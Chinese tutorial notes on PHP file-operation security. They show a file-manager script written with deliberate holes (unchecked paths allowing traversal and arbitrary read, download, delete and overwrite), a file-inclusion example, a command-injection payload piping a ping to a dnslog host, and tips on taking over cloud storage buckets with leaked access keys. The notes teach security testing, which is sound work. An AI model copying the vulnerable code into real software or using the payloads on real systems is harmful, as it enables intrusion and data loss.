目录
PHP知识点
功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除;
技术:JS&CSS混用,Cookie,Session操作,MVC架构,ThinkPHP引用等。
PHP文件操作安全
文件包含,文件上传,文件下载,文件删除,文件写入,文件遍历
文件上传存储位置:
- 上传至服务器本身的存储磁盘(源码在一起
- 云产品OSS存储对象去存储文件(泄漏安全)
- 把文件上传到其他域名,如:www.xiaodi8.com->upload.xiaodi8.com
这次上课主要是完善文件管理模块的其余部分,下载,删除,编辑,包含。这次代码就全放开头了。filemanage.php 代码如下:
php
<?php
ini_set('open_basedir',__DIR__);
$path=$_GET['path'] ?? './';
$action = isset($_GET['a'])?$_GET['a']:''; // 删除,下载 等行为
$path = isset($_GET['path'])?$_GET['path']:'.'; // 文件路径
if(is_file($path)) // 是文件
{
//获得文件名
$file = basename($path);
//获得路径
$path = dirname($path);
}
//判断,不是目录
elseif(!is_dir($path)) // 不是目录
{
echo '我只会吃瓜!';
}
// 取指定目录下的文件列表,并以数组的形式返回。
// 文件列表按照文件类型(目录或文件)进行分类,并包含文件名、文件路径、文件大小和文件修改时间等信息
function getlist($path){ // 拿到文件所在路径
$hd=opendir($path);
while(($file_name=readdir($hd) )!== false){
if($file_name != '.' && $file_name != '..'){
$file_path = "$path/$file_name";
$file_type = filetype($file_path);
}
// 一个二维数组,用于存储文件列表。根据文件类型将文件存储在对应的键名 $file_type 下。
$list[$file_type][] = array( //$file_type = dir 和 file $list['dir'] 和 $list['file']
'file_name'=>$file_name, //文件名存储键值file_name
'file_path'=>$file_path, //文件路径存储键值file_path
'file_size'=>round(filesize($file_path)/1024), //通过换算文件大小存储键值file_path
'file_time'=>date('Y/m/d H:i:s',filemtime($file_path)), //获取文件时间并存储键值file_path
);
}
// PHP 内置函数,用于关闭目录句柄。
closedir($hd);
return $list;
}
$list=getlist($path);
//接受方法 判断是怎么操作
//echo $action;
switch ($action){
case 'del':
unlink($file);
//$cmd="del $file";
//system($cmd);
//echo $cmd;
break;
case 'down':
// 设置响应头,指定下载文件的 MIME 类型为 application/octet-stream,表示通用的二进制流
header("Content-Type: application/octet-stream");
// 设置响应头,指定下载时的文件名,并将其设置为变量 $file 的值。
header("Content-Disposition: attachment; filename=\"" . $file . "\"");
// 设置响应头,指定下载文件的大小,使用 filesize() 函数获取文件的大小。
header("Content-Length: " . filesize($file));
// PHP 内置函数,用于将指定文件的内容输出到浏览器,实现文件下载。
readfile($file);
break;
case 'edit':
// PHP 内置函数,用于读取文件的内容并返回。
$content=file_get_contents($file);
echo '<form name="form1" method="post" action="">';
echo "文件名:".$file."<br>";
echo "文件内容:<br>";
echo '<textarea name="code" style="resize:none;" rows="100" cols="100"">'.$content.'</textarea><br>';
echo '<input type="submit" name="submit" id="submit" value="提交">';
echo '</form>';
break;
}
//检测编辑后提交的事件 进入文件重新写入
if(isset($_POST['code'])){
// 'w+' 是以写入方式打开文件,并将文件指针指向文件的开头。
$f=fopen("$path/$file",'w+');
fwrite($f,$_POST['code']);
fclose($f);
}
?>
<table width="100%" style="font-size: 10px;text-align: center;">
<tr>
<th>图标</th>
<th>名称</th>
<th>日期</th>
<th>大小</th>
<th>路径</th>
<th>操作</th>
</tr>
<?php foreach ($list['dir'] as $v): ?>
<tr>
<td><img src="./img/list.png" width="20" height="20"></td>
<td><?php echo $v['file_name']?></td>
<td><?php echo $v['file_time']?></td>
<td>-</td>
<td><?php echo $v['file_path']?></td>
<td><a href="?path=<?php echo $v['file_path']?>">打开</a></td>
</tr>
<?php endforeach;?>
<?php foreach ($list['file'] as $v): ?>
<tr>
<td><img src="./img/file.png" width="20" height="20"></td>
<td><?php echo $v['file_name']?></td>
<td><?php echo $v['file_time']?></td>
<td><?php echo $v['file_size']?></td>
<td><?php echo $v['file_path']?></td>
<td>
<a href="?a=edit&path=<?php echo $v['file_path']?>">编辑</a>
<a href="?a=down&path=<?php echo $v['file_path']?>">下载</a>
<a href="?a=del&path=<?php echo $v['file_path']?>">删除</a>
</td>
</tr>
<?php endforeach;?>
</table>
PHP代码执行规则:从数据包提取参数,对参数有所回应的代码就会被执行,并不是严格顺序执行。通过访问文件,执行对应文件的代码,PHP代码在后端被执行,HTML等代码的PHP变量会被替换,再把剩下的东西给到浏览器。
总的来说,文件管理由于目录权限控制不当等问题,可能导致遍历漏洞、任意文件读取、任意文件删除、上传后门等一系列问题
文件包含
文件包含漏洞(File Inclusion Vulnerability)是一种安全漏洞,通常发生在应用程序中使用用户提供的文件名或路径而未正确验证的情况下。攻击者利用这个漏洞可以包含恶意文件,导致潜在的安全问题,如远程代码执行、敏感信息泄露等。
include() 在错误发生后脚本继续执行
require() 在错误发生后脚本停止执行
include_once() 如果已经包含,则不再执行
require_once() 如果已经包含,则不再执行
在 upload.php 中开头进行了文件包含如下
php
//include 'upload.html';
include ($_GET['page']); // 用户可以控制要包含的文件,易造成文件包含漏洞
若上传至目标服务器一个 1.txt 文件内容如下
php
<?php phpinfo();?>
示例:访问 upload.php 时构造如下参数,即可将 1.txt 中的 php 代码成功执行(有时执行不成功,需看环境问题)
php
upload.php?page=1.txt
原本不可以被PHP解析执行的TXT,就相当于TXT的内容嵌入upload.php中,就可以执行了
文件删除
unlink() 文件删除函数
调用命令删除:system shell_exec exec等
可以使用 phpunlink () 文件删除函数
也调用命令删除:system shell_exec exec 等,但该方法可能造成命令执行漏洞,如构造下列 payload, 可以顺便 ping 一个 dnslog
php
xxx.xxx.xxx/filemanage.php?a=del&path=1.txt | ping 7j88z3.dnslog.cn
文件编辑
1、file_get_contents() 读取文件内容
2、fopen() fread() 文件打开读入
文件下载
修改HTTP头实现文件读取解析下载:
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename="");
header("Content-Length: " . filesize($file));
readfile($file);
这个记住就行,不用了解原理,修改 HTTP 头实现文件读取解析下载
php
case 'down':
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"" . $file . "\"");
header("Content-Length: " . filesize("$path/$file"));
readfile("$path/$file");
break;
构造下载链接为以下内容
php
xxx.xxx.xxx/filemanage.php?a=down&path=1.txt
将 path 修改为指定文件尝试下载,若下载成功,则可能存在文件下载漏洞
云产品OSS存储对象去存储文件(泄漏安全)
这个技巧挖src还是挺管用的
阿里云中oss云存储资源需要购买(好处就是无脚本执行环境 降低安全风险)
当然关于这方面的利用就是通过前端源码泄露的ak/sk,利用OSS浏览器、行云管家等工具进行bucket接管
使用下面这一套代码做的文件上传至OSS会有ak泄露风险
多说几句:一般web应用就是通过找一些静态,js资源泄露,小程序就是反编译找关键词,APP同样也是反编译(脱壳、adb、frida、xpose)